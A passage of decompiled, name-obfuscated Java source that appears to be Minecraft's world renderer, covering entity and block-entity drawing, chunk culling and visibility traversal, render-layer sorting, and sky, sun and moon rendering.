p_180444_1_.func_178984_b(var14 + var57, var16 + var53, var18 + var61);
}
}
}
}
public void func_72732_a(WorldClient p_72732_1_) {
if(this.field_72769_h != null) {
this.field_72769_h.func_72848_b(this);
}
this.field_174992_B = Double.MIN_VALUE;
this.field_174993_C = Double.MIN_VALUE;
this.field_174987_D = Double.MIN_VALUE;
this.field_174988_E = Integer.MIN_VALUE;
this.field_174989_F = Integer.MIN_VALUE;
this.field_174990_G = Integer.MIN_VALUE;
this.field_175010_j.func_78717_a(p_72732_1_);
this.field_72769_h = p_72732_1_;
if(p_72732_1_ != null) {
p_72732_1_.func_72954_a(this);
this.func_72712_a();
}
}
public void func_72712_a() {
if(this.field_72769_h != null) {
this.field_147595_R = true;
Blocks.field_150362_t.func_150122_b(this.field_72777_q.field_71474_y.field_74347_j);
Blocks.field_150361_u.func_150122_b(this.field_72777_q.field_71474_y.field_74347_j);
this.field_72739_F = this.field_72777_q.field_71474_y.field_151451_c;
boolean var1 = this.field_175005_X;
this.field_175005_X = OpenGlHelper.func_176075_f();
if(var1 && !this.field_175005_X) {
this.field_174996_N = new RenderList();
this.field_175007_a = new ListChunkFactory();
} else if(!var1 && this.field_175005_X) {
this.field_174996_N = new VboRenderList();
this.field_175007_a = new VboChunkFactory();
}
if(var1 != this.field_175005_X) {
this.func_174963_q();
this.func_174980_p();
this.func_174964_o();
}
if(this.field_175008_n != null) {
this.field_175008_n.func_178160_a();
}
this.func_174986_e();
this.field_175008_n = new ViewFrustum(this.field_72769_h, this.field_72777_q.field_71474_y.field_151451_c, this, this.field_175007_a);
if(this.field_72769_h != null) {
Entity var2 = this.field_72777_q.func_175606_aa();
if(var2 != null) {
this.field_175008_n.func_178163_a(var2.field_70165_t, var2.field_70161_v);
}
}
this.field_72740_G = 2;
}
}
protected void func_174986_e() {
this.field_175009_l.clear();
this.field_174995_M.func_178514_b();
}
public void func_72720_a(int p_72720_1_, int p_72720_2_) {
if(OpenGlHelper.field_148824_g) {
if(this.field_174991_A != null) {
this.field_174991_A.func_148026_a(p_72720_1_, p_72720_2_);
}
}
}
public void func_180446_a(Entity p_180446_1_, ICamera p_180446_2_, float p_180446_3_) {
if(this.field_72740_G > 0) {
--this.field_72740_G;
} else {
double var4 = p_180446_1_.field_70169_q + (p_180446_1_.field_70165_t - p_180446_1_.field_70169_q) * (double)p_180446_3_;
double var6 = p_180446_1_.field_70167_r + (p_180446_1_.field_70163_u - p_180446_1_.field_70167_r) * (double)p_180446_3_;
double var8 = p_180446_1_.field_70166_s + (p_180446_1_.field_70161_v - p_180446_1_.field_70166_s) * (double)p_180446_3_;
this.field_72769_h.field_72984_F.func_76320_a("prepare");
TileEntityRendererDispatcher.field_147556_a.func_178470_a(this.field_72769_h, this.field_72777_q.func_110434_K(), this.field_72777_q.field_71466_p, this.field_72777_q.func_175606_aa(), p_180446_3_);
this.field_175010_j.func_180597_a(this.field_72769_h, this.field_72777_q.field_71466_p, this.field_72777_q.func_175606_aa(), this.field_72777_q.field_147125_j, this.field_72777_q.field_71474_y, p_180446_3_);
this.field_72748_H = 0;
this.field_72749_I = 0;
this.field_72750_J = 0;
Entity var10 = this.field_72777_q.func_175606_aa();
double var11 = var10.field_70142_S + (var10.field_70165_t - var10.field_70142_S) * (double)p_180446_3_;
double var13 = var10.field_70137_T + (var10.field_70163_u - var10.field_70137_T) * (double)p_180446_3_;
double var15 = var10.field_70136_U + (var10.field_70161_v - var10.field_70136_U) * (double)p_180446_3_;
TileEntityRendererDispatcher.field_147554_b = var11;
TileEntityRendererDispatcher.field_147555_c = var13;
TileEntityRendererDispatcher.field_147552_d = var15;
this.field_175010_j.func_178628_a(var11, var13, var15);
this.field_72777_q.field_71460_t.func_180436_i();
this.field_72769_h.field_72984_F.func_76318_c("global");
List var17 = this.field_72769_h.func_72910_y();
this.field_72748_H = var17.size();
int var18;
Entity var19;
for(var18 = 0; var18 < this.field_72769_h.field_73007_j.size(); ++var18) {
var19 = (Entity)this.field_72769_h.field_73007_j.get(var18);
++this.field_72749_I;
if(var19.func_145770_h(var4, var6, var8)) {
this.field_175010_j.func_147937_a(var19, p_180446_3_);
}
}
if(this.func_174985_d()) {
GlStateManager.func_179143_c(519);
GlStateManager.func_179106_n();
this.field_175015_z.func_147614_f();
this.field_175015_z.func_147610_a(false);
this.field_72769_h.field_72984_F.func_76318_c("entityOutlines");
RenderHelper.func_74518_a();
this.field_175010_j.func_178632_c(true);
for(var18 = 0; var18 < var17.size(); ++var18) {
var19 = (Entity)var17.get(var18);
boolean var20 = this.field_72777_q.func_175606_aa() instanceof EntityLivingBase && ((EntityLivingBase)this.field_72777_q.func_175606_aa()).func_70608_bn();
boolean var21 = var19.func_145770_h(var4, var6, var8) && (var19.field_70158_ak || p_180446_2_.func_78546_a(var19.func_174813_aQ()) || var19.field_70153_n == this.field_72777_q.field_71439_g) && var19 instanceof EntityPlayer;
if((var19 != this.field_72777_q.func_175606_aa() || this.field_72777_q.field_71474_y.field_74320_O != 0 || var20) && var21) {
this.field_175010_j.func_147937_a(var19, p_180446_3_);
}
}
this.field_175010_j.func_178632_c(false);
RenderHelper.func_74519_b();
GlStateManager.func_179132_a(false);
this.field_174991_A.func_148018_a(p_180446_3_);
GlStateManager.func_179132_a(true);
this.field_72777_q.func_147110_a().func_147610_a(false);
GlStateManager.func_179127_m();
GlStateManager.func_179143_c(515);
GlStateManager.func_179126_j();
GlStateManager.func_179141_d();
}
this.field_72769_h.field_72984_F.func_76318_c("entities");
Iterator var25 = this.field_72755_R.iterator();
RenderGlobal.ContainerLocalRenderInformation var26;
while(var25.hasNext()) {
var26 = (RenderGlobal.ContainerLocalRenderInformation)var25.next();
Chunk var28 = this.field_72769_h.func_175726_f(var26.field_178036_a.func_178568_j());
Iterator var31 = var28.func_177429_s()[var26.field_178036_a.func_178568_j().func_177956_o() / 16].iterator();
while(var31.hasNext()) {
Entity var22 = (Entity)var31.next();
boolean var23 = this.field_175010_j.func_178635_a(var22, p_180446_2_, var4, var6, var8) || var22.field_70153_n == this.field_72777_q.field_71439_g;
if(var23) {
boolean var24 = this.field_72777_q.func_175606_aa() instanceof EntityLivingBase?((EntityLivingBase)this.field_72777_q.func_175606_aa()).func_70608_bn():false;
if(var22 == this.field_72777_q.func_175606_aa() && this.field_72777_q.field_71474_y.field_74320_O == 0 && !var24 || var22.field_70163_u >= 0.0D && var22.field_70163_u < 256.0D && !this.field_72769_h.func_175667_e(new BlockPos(var22))) {
continue;
}
++this.field_72749_I;
this.field_175010_j.func_147937_a(var22, p_180446_3_);
}
if(!var23 && var22 instanceof EntityWitherSkull) {
this.field_72777_q.func_175598_ae().func_178630_b(var22, p_180446_3_);
}
}
}
this.field_72769_h.field_72984_F.func_76318_c("blockentities");
RenderHelper.func_74519_b();
var25 = this.field_72755_R.iterator();
TileEntity var32;
while(var25.hasNext()) {
var26 = (RenderGlobal.ContainerLocalRenderInformation)var25.next();
Iterator var29 = var26.field_178036_a.func_178571_g().func_178485_b().iterator();
while(var29.hasNext()) {
var32 = (TileEntity)var29.next();
TileEntityRendererDispatcher.field_147556_a.func_180546_a(var32, p_180446_3_, -1);
}
}
this.func_180443_s();
var25 = this.field_72738_E.values().iterator();
while(var25.hasNext()) {
DestroyBlockProgress var27 = (DestroyBlockProgress)var25.next();
BlockPos var30 = var27.func_180246_b();
var32 = this.field_72769_h.func_175625_s(var30);
if(var32 instanceof TileEntityChest) {
TileEntityChest var33 = (TileEntityChest)var32;
if(var33.field_145991_k != null) {
var30 = var30.func_177972_a(EnumFacing.WEST);
var32 = this.field_72769_h.func_175625_s(var30);
} else if(var33.field_145992_i != null) {
var30 = var30.func_177972_a(EnumFacing.NORTH);
var32 = this.field_72769_h.func_175625_s(var30);
}
}
Block var34 = this.field_72769_h.func_180495_p(var30).func_177230_c();
if(var32 != null && (var34 instanceof BlockChest || var34 instanceof BlockEnderChest || var34 instanceof BlockSign || var34 instanceof BlockSkull)) {
TileEntityRendererDispatcher.field_147556_a.func_180546_a(var32, p_180446_3_, var27.func_73106_e());
}
}
this.func_174969_t();
this.field_72777_q.field_71460_t.func_175072_h();
this.field_72777_q.field_71424_I.func_76319_b();
}
}
public String func_72735_c() {
int var1 = this.field_175008_n.field_178164_f.length;
int var2 = 0;
Iterator var3 = this.field_72755_R.iterator();
while(var3.hasNext()) {
RenderGlobal.ContainerLocalRenderInformation var4 = (RenderGlobal.ContainerLocalRenderInformation)var3.next();
CompiledChunk var5 = var4.field_178036_a.field_178590_b;
if(var5 != CompiledChunk.field_178502_a && !var5.func_178489_a()) {
++var2;
}
}
return String.format("C: %d/%d %sD: %d, %s", new Object[]{Integer.valueOf(var2), Integer.valueOf(var1), this.field_72777_q.field_175612_E?"(s) ":"", Integer.valueOf(this.field_72739_F), this.field_174995_M.func_178504_a()});
}
public String func_72723_d() {
return "E: " + this.field_72749_I + "/" + this.field_72748_H + ", B: " + this.field_72750_J + ", I: " + (this.field_72748_H - this.field_72750_J - this.field_72749_I);
}
public void func_174970_a(Entity p_174970_1_, double p_174970_2_, ICamera p_174970_4_, int p_174970_5_, boolean p_174970_6_) {
if(this.field_72777_q.field_71474_y.field_151451_c != this.field_72739_F) {
this.func_72712_a();
}
this.field_72769_h.field_72984_F.func_76320_a("camera");
double var7 = p_174970_1_.field_70165_t - this.field_174992_B;
double var9 = p_174970_1_.field_70163_u - this.field_174993_C;
double var11 = p_174970_1_.field_70161_v - this.field_174987_D;
if(this.field_174988_E != p_174970_1_.field_70176_ah || this.field_174989_F != p_174970_1_.field_70162_ai || this.field_174990_G != p_174970_1_.field_70164_aj || var7 * var7 + var9 * var9 + var11 * var11 > 16.0D) {
this.field_174992_B = p_174970_1_.field_70165_t;
this.field_174993_C = p_174970_1_.field_70163_u;
this.field_174987_D = p_174970_1_.field_70161_v;
this.field_174988_E = p_174970_1_.field_70176_ah;
this.field_174989_F = p_174970_1_.field_70162_ai;
this.field_174990_G = p_174970_1_.field_70164_aj;
this.field_175008_n.func_178163_a(p_174970_1_.field_70165_t, p_174970_1_.field_70161_v);
}
this.field_72769_h.field_72984_F.func_76318_c("renderlistcamera");
double var13 = p_174970_1_.field_70142_S + (p_174970_1_.field_70165_t - p_174970_1_.field_70142_S) * p_174970_2_;
double var15 = p_174970_1_.field_70137_T + (p_174970_1_.field_70163_u - p_174970_1_.field_70137_T) * p_174970_2_;
double var17 = p_174970_1_.field_70136_U + (p_174970_1_.field_70161_v - p_174970_1_.field_70136_U) * p_174970_2_;
this.field_174996_N.func_178004_a(var13, var15, var17);
this.field_72769_h.field_72984_F.func_76318_c("cull");
if(this.field_175001_U != null) {
Frustrum var19 = new Frustrum(this.field_175001_U);
var19.func_78547_a(this.field_175003_W.x, this.field_175003_W.y, this.field_175003_W.z);
p_174970_4_ = var19;
}
this.field_72777_q.field_71424_I.func_76318_c("culling");
BlockPos var35 = new BlockPos(var13, var15 + (double)p_174970_1_.func_70047_e(), var17);
RenderChunk var20 = this.field_175008_n.func_178161_a(var35);
BlockPos var21 = new BlockPos(MathHelper.func_76128_c(var13) / 16 * 16, MathHelper.func_76128_c(var15) / 16 * 16, MathHelper.func_76128_c(var17) / 16 * 16);
this.field_147595_R = this.field_147595_R || !this.field_175009_l.isEmpty() || p_174970_1_.field_70165_t != this.field_174997_H || p_174970_1_.field_70163_u != this.field_174998_I || p_174970_1_.field_70161_v != this.field_174999_J || (double)p_174970_1_.field_70125_A != this.field_175000_K || (double)p_174970_1_.field_70177_z != this.field_174994_L;
this.field_174997_H = p_174970_1_.field_70165_t;
this.field_174998_I = p_174970_1_.field_70163_u;
this.field_174999_J = p_174970_1_.field_70161_v;
this.field_175000_K = (double)p_174970_1_.field_70125_A;
this.field_174994_L = (double)p_174970_1_.field_70177_z;
boolean var22 = this.field_175001_U != null;
RenderGlobal.ContainerLocalRenderInformation var39;
RenderChunk var41;
if(!var22 && this.field_147595_R) {
this.field_147595_R = false;
this.field_72755_R = Lists.newArrayList();
LinkedList var23 = Lists.newLinkedList();
boolean var24 = this.field_72777_q.field_175612_E;
if(var20 == null) {
int var25 = var35.func_177956_o() > 0?248:8;
for(int var26 = -this.field_72739_F; var26 <= this.field_72739_F; ++var26) {
for(int var27 = -this.field_72739_F; var27 <= this.field_72739_F; ++var27) {
RenderChunk var28 = this.field_175008_n.func_178161_a(new BlockPos((var26 << 4) + 8, var25, (var27 << 4) + 8));
if(var28 != null && ((ICamera)p_174970_4_).func_78546_a(var28.field_178591_c)) {
var28.func_178577_a(p_174970_5_);
var23.add(new RenderGlobal.ContainerLocalRenderInformation(var28, (EnumFacing)null, 0, null));
}
}
}
} else {
boolean var38 = false;
RenderGlobal.ContainerLocalRenderInformation var40 = new RenderGlobal.ContainerLocalRenderInformation(var20, (EnumFacing)null, 0, null);
Set var42 = this.func_174978_c(var35);
if(!var42.isEmpty() && var42.size() == 1) {
Vector3f var44 = this.func_174962_a(p_174970_1_, p_174970_2_);
EnumFacing var29 = EnumFacing.func_176737_a(var44.x, var44.y, var44.z).func_176734_d();
var42.remove(var29);
}
if(var42.isEmpty()) {
var38 = true;
}
if(var38 && !p_174970_6_) {
this.field_72755_R.add(var40);
} else {
if(p_174970_6_ && this.field_72769_h.func_180495_p(var35).func_177230_c().func_149662_c()) {
var24 = false;
}
var20.func_178577_a(p_174970_5_);
var23.add(var40);
}
}
while(!var23.isEmpty()) {
var39 = (RenderGlobal.ContainerLocalRenderInformation)var23.poll();
var41 = var39.field_178036_a;
EnumFacing var43 = var39.field_178034_b;
BlockPos var45 = var41.func_178568_j();
this.field_72755_R.add(var39);
EnumFacing[] var46 = EnumFacing.values();
int var30 = var46.length;
for(int var31 = 0; var31 < var30; ++var31) {
EnumFacing var32 = var46[var31];
RenderChunk var33 = this.func_174973_a(var35, var45, var32);
if((!var24 || !var39.field_178035_c.contains(var32.func_176734_d())) && (!var24 || var43 == null || var41.func_178571_g().func_178495_a(var43.func_176734_d(), var32)) && var33 != null && var33.func_178577_a(p_174970_5_) && ((ICamera)p_174970_4_).func_78546_a(var33.field_178591_c)) {
RenderGlobal.ContainerLocalRenderInformation var34 = new RenderGlobal.ContainerLocalRenderInformation(var33, var32, var39.field_178032_d + 1, null);
var34.field_178035_c.addAll(var39.field_178035_c);
var34.field_178035_c.add(var32);
var23.add(var34);
}
}
}
}
if(this.field_175002_T) {
this.func_174984_a(var13, var15, var17);
this.field_175002_T = false;
}
this.field_174995_M.func_178513_e();
Set var36 = this.field_175009_l;
this.field_175009_l = Sets.newLinkedHashSet();
Iterator var37 = this.field_72755_R.iterator();
while(var37.hasNext()) {
var39 = (RenderGlobal.ContainerLocalRenderInformation)var37.next();
var41 = var39.field_178036_a;
if(var41.func_178569_m() || var41.func_178583_l() || var36.contains(var41)) {
this.field_147595_R = true;
if(this.func_174983_a(var21, var39.field_178036_a)) {
this.field_72777_q.field_71424_I.func_76320_a("build near");
this.field_174995_M.func_178505_b(var41);
var41.func_178575_a(false);
this.field_72777_q.field_71424_I.func_76319_b();
} else {
this.field_175009_l.add(var41);
}
}
}
this.field_175009_l.addAll(var36);
this.field_72777_q.field_71424_I.func_76319_b();
}
private boolean func_174983_a(BlockPos p_174983_1_, RenderChunk p_174983_2_) {
BlockPos var3 = p_174983_2_.func_178568_j();
return MathHelper.func_76130_a(p_174983_1_.func_177958_n() - var3.func_177958_n()) > 16?false:(MathHelper.func_76130_a(p_174983_1_.func_177956_o() - var3.func_177956_o()) > 16?false:MathHelper.func_76130_a(p_174983_1_.func_177952_p() - var3.func_177952_p()) <= 16);
}
private Set func_174978_c(BlockPos p_174978_1_) {
VisGraph var2 = new VisGraph();
BlockPos var3 = new BlockPos(p_174978_1_.func_177958_n() >> 4 << 4, p_174978_1_.func_177956_o() >> 4 << 4, p_174978_1_.func_177952_p() >> 4 << 4);
Chunk var4 = this.field_72769_h.func_175726_f(var3);
Iterator var5 = BlockPos.func_177975_b(var3, var3.func_177982_a(15, 15, 15)).iterator();
while(var5.hasNext()) {
BlockPos.MutableBlockPos var6 = (BlockPos.MutableBlockPos)var5.next();
if(var4.func_177428_a(var6).func_149662_c()) {
var2.func_178606_a(var6);
}
}
return var2.func_178609_b(p_174978_1_);
}
private RenderChunk func_174973_a(BlockPos p_174973_1_, BlockPos p_174973_2_, EnumFacing p_174973_3_) {
BlockPos var4 = p_174973_2_.func_177967_a(p_174973_3_, 16);
return MathHelper.func_76130_a(p_174973_1_.func_177958_n() - var4.func_177958_n()) > this.field_72739_F * 16?null:(var4.func_177956_o() >= 0 && var4.func_177956_o() < 256?(MathHelper.func_76130_a(p_174973_1_.func_177952_p() - var4.func_177952_p()) > this.field_72739_F * 16?null:this.field_175008_n.func_178161_a(var4)):null);
}
private void func_174984_a(double p_174984_1_, double p_174984_3_, double p_174984_5_) {
this.field_175001_U = new ClippingHelperImpl();
((ClippingHelperImpl)this.field_175001_U).func_78560_b();
Matrix4f var7 = new Matrix4f(this.field_175001_U.field_178626_c);
var7.transpose();
Matrix4f var8 = new Matrix4f(this.field_175001_U.field_178625_b);
var8.transpose();
Matrix4f var9 = new Matrix4f();
var9.mul(var8, var7);
var9.invert();
this.field_175003_W.x = p_174984_1_;
this.field_175003_W.y = p_174984_3_;
this.field_175003_W.z = p_174984_5_;
this.field_175004_V[0] = new Vector4f(-1.0F, -1.0F, -1.0F, 1.0F);
this.field_175004_V[1] = new Vector4f(1.0F, -1.0F, -1.0F, 1.0F);
this.field_175004_V[2] = new Vector4f(1.0F, 1.0F, -1.0F, 1.0F);
this.field_175004_V[3] = new Vector4f(-1.0F, 1.0F, -1.0F, 1.0F);
this.field_175004_V[4] = new Vector4f(-1.0F, -1.0F, 1.0F, 1.0F);
this.field_175004_V[5] = new Vector4f(1.0F, -1.0F, 1.0F, 1.0F);
this.field_175004_V[6] = new Vector4f(1.0F, 1.0F, 1.0F, 1.0F);
this.field_175004_V[7] = new Vector4f(-1.0F, 1.0F, 1.0F, 1.0F);
for(int var10 = 0; var10 < 8; ++var10) {
var9.transform(this.field_175004_V[var10]);
this.field_175004_V[var10].x /= this.field_175004_V[var10].w;
this.field_175004_V[var10].y /= this.field_175004_V[var10].w;
this.field_175004_V[var10].z /= this.field_175004_V[var10].w;
this.field_175004_V[var10].w = 1.0F;
}
}
protected Vector3f func_174962_a(Entity p_174962_1_, double p_174962_2_) {
float var4 = (float)((double)p_174962_1_.field_70127_C + (double)(p_174962_1_.field_70125_A - p_174962_1_.field_70127_C) * p_174962_2_);
float var5 = (float)((double)p_174962_1_.field_70126_B + (double)(p_174962_1_.field_70177_z - p_174962_1_.field_70126_B) * p_174962_2_);
if(Minecraft.func_71410_x().field_71474_y.field_74320_O == 2) {
var4 += 180.0F;
}
float var6 = MathHelper.func_76134_b(-var5 * 0.017453292F - 3.1415927F);
float var7 = MathHelper.func_76126_a(-var5 * 0.017453292F - 3.1415927F);
float var8 = -MathHelper.func_76134_b(-var4 * 0.017453292F);
float var9 = MathHelper.func_76126_a(-var4 * 0.017453292F);
return new Vector3f(var7 * var8, var9, var6 * var8);
}
public int func_174977_a(EnumWorldBlockLayer p_174977_1_, double p_174977_2_, int p_174977_4_, Entity p_174977_5_) {
RenderHelper.func_74518_a();
if(p_174977_1_ == EnumWorldBlockLayer.TRANSLUCENT) {
this.field_72777_q.field_71424_I.func_76320_a("translucent_sort");
double var6 = p_174977_5_.field_70165_t - this.field_147596_f;
double var8 = p_174977_5_.field_70163_u - this.field_147597_g;
double var10 = p_174977_5_.field_70161_v - this.field_147602_h;
if(var6 * var6 + var8 * var8 + var10 * var10 > 1.0D) {
this.field_147596_f = p_174977_5_.field_70165_t;
this.field_147597_g = p_174977_5_.field_70163_u;
this.field_147602_h = p_174977_5_.field_70161_v;
int var12 = 0;
Iterator var13 = this.field_72755_R.iterator();
while(var13.hasNext()) {
RenderGlobal.ContainerLocalRenderInformation var14 = (RenderGlobal.ContainerLocalRenderInformation)var13.next();
if(var14.field_178036_a.field_178590_b.func_178492_d(p_174977_1_) && var12++ < 15) {
this.field_174995_M.func_178509_c(var14.field_178036_a);
}
}
}
this.field_72777_q.field_71424_I.func_76319_b();
}
this.field_72777_q.field_71424_I.func_76320_a("filterempty");
int var15 = 0;
boolean var7 = p_174977_1_ == EnumWorldBlockLayer.TRANSLUCENT;
int var16 = var7?this.field_72755_R.size() - 1:0;
int var9 = var7?-1:this.field_72755_R.size();
int var17 = var7?-1:1;
for(int var11 = var16; var11 != var9; var11 += var17) {
RenderChunk var18 = ((RenderGlobal.ContainerLocalRenderInformation)this.field_72755_R.get(var11)).field_178036_a;
if(!var18.func_178571_g().func_178491_b(p_174977_1_)) {
++var15;
this.field_174996_N.func_178002_a(var18, p_174977_1_);
}
}
this.field_72777_q.field_71424_I.func_76318_c("render_" + p_174977_1_);
this.func_174982_a(p_174977_1_);
this.field_72777_q.field_71424_I.func_76319_b();
return var15;
}
private void func_174982_a(EnumWorldBlockLayer p_174982_1_) {
this.field_72777_q.field_71460_t.func_180436_i();
if(OpenGlHelper.func_176075_f()) {
GL11.glEnableClientState('\u8074');
OpenGlHelper.func_77472_b(OpenGlHelper.field_77478_a);
GL11.glEnableClientState('\u8078');
OpenGlHelper.func_77472_b(OpenGlHelper.field_77476_b);
GL11.glEnableClientState('\u8078');
OpenGlHelper.func_77472_b(OpenGlHelper.field_77478_a);
GL11.glEnableClientState('\u8076');
}
this.field_174996_N.func_178001_a(p_174982_1_);
if(OpenGlHelper.func_176075_f()) {
List var2 = DefaultVertexFormats.field_176600_a.func_177343_g();
Iterator var3 = var2.iterator();
while(var3.hasNext()) {
VertexFormatElement var4 = (VertexFormatElement)var3.next();
VertexFormatElement.EnumUseage var5 = var4.func_177375_c();
int var6 = var4.func_177369_e();
switch(RenderGlobal.SwitchEnumUseage.field_178037_a[var5.ordinal()]) {
case 1:
GL11.glDisableClientState('\u8074');
break;
case 2:
OpenGlHelper.func_77472_b(OpenGlHelper.field_77478_a + var6);
GL11.glDisableClientState('\u8078');
OpenGlHelper.func_77472_b(OpenGlHelper.field_77478_a);
break;
case 3:
GL11.glDisableClientState('\u8076');
GlStateManager.func_179117_G();
}
}
}
this.field_72777_q.field_71460_t.func_175072_h();
}
private void func_174965_a(Iterator p_174965_1_) {
while(p_174965_1_.hasNext()) {
DestroyBlockProgress var2 = (DestroyBlockProgress)p_174965_1_.next();
int var3 = var2.func_82743_f();
if(this.field_72773_u - var3 > 400) {
p_174965_1_.remove();
}
}
}
public void func_72734_e() {
++this.field_72773_u;
if(this.field_72773_u % 20 == 0) {
this.func_174965_a(this.field_72738_E.values().iterator());
}
}
private void func_180448_r() {
GlStateManager.func_179106_n();
GlStateManager.func_179118_c();
GlStateManager.func_179147_l();
GlStateManager.func_179120_a(770, 771, 1, 0);
RenderHelper.func_74518_a();
GlStateManager.func_179132_a(false);
this.field_72770_i.func_110577_a(field_110926_k);
Tessellator var1 = Tessellator.func_178181_a();
WorldRenderer var2 = var1.func_178180_c();
for(int var3 = 0; var3 < 6; ++var3) {
GlStateManager.func_179094_E();
if(var3 == 1) {
GlStateManager.func_179114_b(90.0F, 1.0F, 0.0F, 0.0F);
}
if(var3 == 2) {
GlStateManager.func_179114_b(-90.0F, 1.0F, 0.0F, 0.0F);
}
if(var3 == 3) {
GlStateManager.func_179114_b(180.0F, 1.0F, 0.0F, 0.0F);
}
if(var3 == 4) {
GlStateManager.func_179114_b(90.0F, 0.0F, 0.0F, 1.0F);
}
if(var3 == 5) {
GlStateManager.func_179114_b(-90.0F, 0.0F, 0.0F, 1.0F);
}
var2.func_178970_b();
var2.func_178991_c(2631720);
var2.func_178985_a(-100.0D, -100.0D, -100.0D, 0.0D, 0.0D);
var2.func_178985_a(-100.0D, -100.0D, 100.0D, 0.0D, 16.0D);
var2.func_178985_a(100.0D, -100.0D, 100.0D, 16.0D, 16.0D);
var2.func_178985_a(100.0D, -100.0D, -100.0D, 16.0D, 0.0D);
var1.func_78381_a();
GlStateManager.func_179121_F();
}
GlStateManager.func_179132_a(true);
GlStateManager.func_179098_w();
GlStateManager.func_179141_d();
}
public void func_174976_a(float p_174976_1_, int p_174976_2_) {
if(this.field_72777_q.field_71441_e.field_73011_w.func_177502_q() == 1) {
this.func_180448_r();
} else if(this.field_72777_q.field_71441_e.field_73011_w.func_76569_d()) {
GlStateManager.func_179090_x();
Vec3 var3 = this.field_72769_h.func_72833_a(this.field_72777_q.func_175606_aa(), p_174976_1_);
float var4 = (float)var3.field_72450_a;
float var5 = (float)var3.field_72448_b;
float var6 = (float)var3.field_72449_c;
if(p_174976_2_ != 2) {
float var7 = (var4 * 30.0F + var5 * 59.0F + var6 * 11.0F) / 100.0F;
float var8 = (var4 * 30.0F + var5 * 70.0F) / 100.0F;
float var9 = (var4 * 30.0F + var6 * 70.0F) / 100.0F;
var4 = var7;
var5 = var8;
var6 = var9;
}
GlStateManager.func_179124_c(var4, var5, var6);
Tessellator var23 = Tessellator.func_178181_a();
WorldRenderer var24 = var23.func_178180_c();
GlStateManager.func_179132_a(false);
GlStateManager.func_179127_m();
GlStateManager.func_179124_c(var4, var5, var6);
if(this.field_175005_X) {
this.field_175012_t.func_177359_a();
GL11.glEnableClientState('\u8074');
GL11.glVertexPointer(3, 5126, 12, 0L);
this.field_175012_t.func_177358_a(7);
this.field_175012_t.func_177361_b();
GL11.glDisableClientState('\u8074');
} else {
GlStateManager.func_179148_o(this.field_72771_w);
}
GlStateManager.func_179106_n();
GlStateManager.func_179118_c();
GlStateManager.func_179147_l();
GlStateManager.func_179120_a(770, 771, 1, 0);
RenderHelper.func_74518_a();
float[] var25 = this.field_72769_h.field_73011_w.func_76560_a(this.field_72769_h.func_72826_c(p_174976_1_), p_174976_1_);
float var10;
float var11;
float var12;
float var13;
float var14;
if(var25 != null) {
GlStateManager.func_179090_x();
GlStateManager.func_179103_j(7425);
GlStateManager.func_179094_E();
GlStateManager.func_179114_b(90.0F, 1.0F, 0.0F, 0.0F);
GlStateManager.func_179114_b(MathHelper.func_76126_a(this.field_72769_h.func_72929_e(p_174976_1_)) < 0.0F?180.0F:0.0F, 0.0F, 0.0F, 1.0F);
GlStateManager.func_179114_b(90.0F, 0.0F, 0.0F, 1.0F);
var10 = var25[0];
var11 = var25[1];
var12 = var25[2];
float var15;
if(p_174976_2_ != 2) {
var13 = (var10 * 30.0F + var11 * 59.0F + var12 * 11.0F) / 100.0F;
var14 = (var10 * 30.0F + var11 * 70.0F) / 100.0F;
var15 = (var10 * 30.0F + var12 * 70.0F) / 100.0F;
var10 = var13;
var11 = var14;
var12 = var15;
}
var24.func_178964_a(6);
var24.func_178960_a(var10, var11, var12, var25[3]);
var24.func_178984_b(0.0D, 100.0D, 0.0D);
boolean var27 = true;
var24.func_178960_a(var25[0], var25[1], var25[2], 0.0F);
for(int var28 = 0; var28 <= 16; ++var28) {
var15 = (float)var28 * 3.1415927F * 2.0F / 16.0F;
float var16 = MathHelper.func_76126_a(var15);
float var17 = MathHelper.func_76134_b(var15);
var24.func_178984_b((double)(var16 * 120.0F), (double)(var17 * 120.0F), (double)(-var17 * 40.0F * var25[3]));
}
var23.func_78381_a();
GlStateManager.func_179121_F();
GlStateManager.func_179103_j(7424);
}
GlStateManager.func_179098_w();
GlStateManager.func_179120_a(770, 1, 1, 0);
GlStateManager.func_179094_E();
var10 = 1.0F - this.field_72769_h.func_72867_j(p_174976_1_);
var11 = 0.0F;
var12 = 0.0F;
var13 = 0.0F;
GlStateManager.func_179131_c(1.0F, 1.0F, 1.0F, var10);
GlStateManager.func_179109_b(0.0F, 0.0F, 0.0F);
GlStateManager.func_179114_b(-90.0F, 0.0F, 1.0F, 0.0F);
GlStateManager.func_179114_b(this.field_72769_h.func_72826_c(p_174976_1_) * 360.0F, 1.0F, 0.0F, 0.0F);
var14 = 30.0F;
this.field_72770_i.func_110577_a(field_110928_i);
var24.func_178970_b();
var24.func_178985_a((double)(-var14), 100.0D, (double)(-var14), 0.0D, 0.0D);
var24.func_178985_a((double)var14, 100.0D, (double)(-var14), 1.0D, 0.0D);
var24.func_178985_a((double)var14, 100.0D, (double)var14, 1.0D, 1.0D);
var24.func_178985_a((double)(-var14), 100.0D, (double)var14, 0.0D, 1.0D);
var23.func_78381_a();
var14 = 20.0F;
this.field_72770_i.func_110577_a(field_110927_h);
int var29 = this.field_72769_h.func_72853_d();
int var30 = var29 % 4;
int var31 = var29 / 4 % 2;
float var18 = (float)(var30 + 0) / 4.0F;
float var19 = (float)(var31 + 0) / 2.0F;
float var20 = (float)(var30 + 1) / 4.0F;
float var21 = (float)(var31 + 1) / 2.0F;
var24.func_178970_b();
var24.func_178985_a((double)(-var14), -100.0D, (double)var14, (double)var20, (double)var21);
var24.func_178985_a((double)var14, -100.0D, (double)var14, (double)var18, (double)var21);
var24.func_178985_a((double)var14, -100.0D, (double)(-var14), (double)var18, (double)var19);
var24.func_178985_a((double)(-var14), -100.0D, (double)(-var14), (double)var20, (double)var19);
var23.func_78381_a();
GlStateManager.func_179090_x();
float var22 = this.field_72769_h.func_72880_h(p_174976_1_) * var10;
if(var22 > 0.0F) {
GlStateManager.func_179131_c(var22, var22, var22, var22);
if(this.field_175005_X) {
this.field_175013_s.func_177359_a();
GL11.glEnableClientState('\u8074');
GL11.glVertexPointer(3, 5126, 12, 0L);
this.field_175013_s.func_177358_a(7);
this.field_175013_s.func_177361_b();
GL11.glDisableClientState('\u8074');
} else {
GlStateManager.func_179148_o(this.field_72772_v);
}
}
GlStateManager.func_179131_c(1.0F, 1.0F, 1.0F, 1.0F);
GlStateManager.func_179084_k();
GlStateManager.func_179141_d();
GlStateManager.func_179127_m();
GlStateManager.func_179121_F();
GlStateManager.func_179090_x();
GlStateManager.func_179124_c(0.0F, 0.0F, 0.0F);
